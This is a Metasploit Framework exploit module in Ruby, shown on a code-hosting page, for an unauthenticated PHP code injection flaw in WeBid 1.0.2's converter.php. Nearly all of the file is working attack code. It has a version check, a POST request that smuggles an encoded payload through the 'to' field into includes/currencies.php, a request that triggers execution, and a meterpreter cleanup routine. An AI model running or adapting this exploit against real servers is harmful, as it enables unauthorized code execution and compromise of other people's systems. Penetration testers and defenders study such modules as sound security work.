/
webid_converter.rb
165 lines (134 loc) · 3.99 KB
/
webid_converter.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WeBid converter.php Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability found in WeBid version 1.0.2.
By abusing the converter.php file, a malicious user can inject PHP code
in the includes/currencies.php script without any authentication, which
results in arbitrary code execution.
},
'Author' => [
'EgiX', # Vulnerability Discovery, PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '73609' ],
[ 'EDB', '17487' ],
[ 'URL', 'http://www.webidsupport.com/forums/showthread.php?3892' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
},
'DisclosureDate' => 'Jul 05 2011',
'Targets' =>
[
[ 'WeBid 1.0.2 / Ubuntu', {} ]
],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WeBid', '/WeBid'])
], self.class
)
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "docs/changes.txt"
})
if res and res.code == 200 and res.body =~ /1\.0\.2 \- 17\/01\/11/
return Exploit::CheckCode::Appears
end
res = send_request_cgi({
'method' => 'GET',
'uri' => uri + "converter.php"
})
if res and res.code == 200 and res.body =~ /WeBId.*CURRENCY CONVERTER/
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def on_new_session(client)
peer = "#{client.peerhost}:#{client.peerport}"
if client.type != "meterpreter"
print_error("#{peer} - NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("#{peer} - The currencies.php won't be restored automatically.")
return
end
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Original currencies.php file
currencies_php = <<-eof
<?php
$conversionarray[] = '1265375103';
$conversionarray[] = array(
array('from' => 'GBP', 'to' => 'AED', 'rate' => '')
);
?>
eof
currencies_php = currencies_php.gsub(/^\t\t\t/, '')
pwd = client.fs.dir.pwd
print_status("#{peer} - Searching currencies.php file from #{pwd}")
res = client.fs.file.search(nil, "currencies.php", true, -1)
res.each do |hit|
filename = "#{hit['path']}/#{hit['name']}"
print_warning("#{peer} - Restoring #{filename}")
client.fs.file.rm(filename)
fd = client.fs.file.new(filename, "wb")
fd.write(currencies_php)
fd.close
end
print_status("#{peer} - Cleanup finished")
end
def exploit
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
peer = "#{rhost}:#{rport}"
stub = "\0'));#{payload.encoded}?>"
print_status("#{peer} - Injecting the PHP payload")
response = send_request_cgi({
'uri' => uri + "converter.php",
'method' => "POST",
'vars_post' => {
"action" => "convert",
"from" => "USD",
"to" => stub
}
})
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
return
end
print_status("#{peer} - Executing the PHP payload")
timeout = 0.01
response = send_request_cgi({
'uri' => uri + "includes/currencies.php",
'method' => "GET",
'headers' => {
'Connection' => "close",
}
}, timeout)
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
handler
end
end